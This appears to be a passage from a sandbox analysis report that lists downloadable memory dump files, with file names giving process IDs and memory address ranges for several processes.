                                                            memory/716-12-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-5-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-13-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-9-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-8-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-10-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/716-11-0x00007FFF2FA40000-0x00007FFF303E4000-memory.dmp
                                                            Download

                                                            memory/1736-227-0x0000000004A90000-0x0000000004AC4000-memory.dmp
                                                            Download

                                                            memory/1736-230-0x00000000073E0000-0x00000000073EA000-memory.dmp
                                                            Download

                                                            memory/1736-220-0x0000000003A30000-0x0000000003A48000-memory.dmp
                                                            Download

                                                            memory/2416-61-0x0000000005880000-0x0000000005A2C000-memory.dmp
                                                            Download

                                                            memory/2416-49-0x0000000005580000-0x00000000055AE000-memory.dmp
                                                            Download

                                                            memory/2416-62-0x0000000005FF0000-0x00000000065AA000-memory.dmp
                                                            Download

                                                            memory/2416-53-0x0000000003560000-0x000000000356A000-memory.dmp
                                                            Download

                                                            memory/2416-57-0x0000000005640000-0x00000000056CE000-memory.dmp
                                                            Download

                                                            memory/2864-492-0x00000163246B0000-0x000001632473E000-memory.dmp
                                                            Download

                                                            memory/2864-500-0x0000016344FB0000-0x0000016344FBE000-memory.dmp
                                                            Download

                                                            memory/2864-528-0x0000016345450000-0x0000016345978000-memory.dmp
                                                            Download

                                                            memory/2864-499-0x0000016344FE0000-0x000001634501E000-memory.dmp
                                                            Download

                                                            memory/2864-498-0x000001633FB70000-0x000001633FB78000-memory.dmp
                                                            Download

                                                            memory/2864-495-0x0000016324BB0000-0x0000016324BCE000-memory.dmp
                                                            Download

                                                            memory/2864-494-0x000001633EF10000-0x000001633EF86000-memory.dmp
                                                            Download

                                                            memory/2864-493-0x000001633EE50000-0x000001633EEF8000-memory.dmp
                                                            Download

                                                            memory/4532-318-0x0000025445310000-0x0000025445316000-memory.dmp
                                                            Download

                                                            memory/4532-283-0x0000025445360000-0x000002544538E000-memory.dmp
                                                            Download

                                                            memory/5244-140-0x0000000000400000-0x0000000000458000-memory.dmp
                                                            Download

                                                            memory/5244-244-0x0000000000400000-0x0000000000458000-memory.dmp
                                                            Download

                                                            memory/5244-797-0x0000000000400000-0x0000000000458000-memory.dmp
                                                            Download

                                                            memory/5676-113-0x00000000016B0000-0x00000000016C8000-memory.dmp
                                                            Download

                                                            memory/5676-126-0x00000000041E0000-0x0000000004230000-memory.dmp
                                                            Download

                                                            memory/5676-132-0x0000000004230000-0x0000000004266000-memory.dmp
                                                            Download

                                                            memory/5676-143-0x0000000003FF0000-0x0000000004031000-memory.dmp
                                                            Download

                                                            memory/5676-145-0x0000000004500000-0x00000000045D5000-memory.dmp
                                                            Download

                                                            memory/5676-141-0x0000000004310000-0x00000000043A2000-memory.dmp
                                                            Download

                                                            memory/5852-162-0x0000000000D20000-0x0000000000DB8000-memory.dmp
                                                            Download

                                                            memory/5852-189-0x000000001BFC0000-0x000000001C16C000-memory.dmp
                                                            Download

                                                            memory/5852-163-0x0000000002E10000-0x0000000002E46000-memory.dmp
                                                            Download

                                                            memory/5852-193-0x000000001C300000-0x000000001C488000-memory.dmp
                                                            Download

                                                            memory/5852-186-0x000000001BD80000-0x000000001BE0E000-memory.dmp
                                                            Download

                                                            memory/5852-232-0x0000000002E80000-0x0000000002E98000-memory.dmp
                                                            Download

                                                            memory/5852-233-0x0000000002ED0000-0x0000000002F11000-memory.dmp
                                                            Download

                                                            memory/5852-231-0x0000000002DE0000-0x0000000002DF8000-memory.dmp
                                                            Download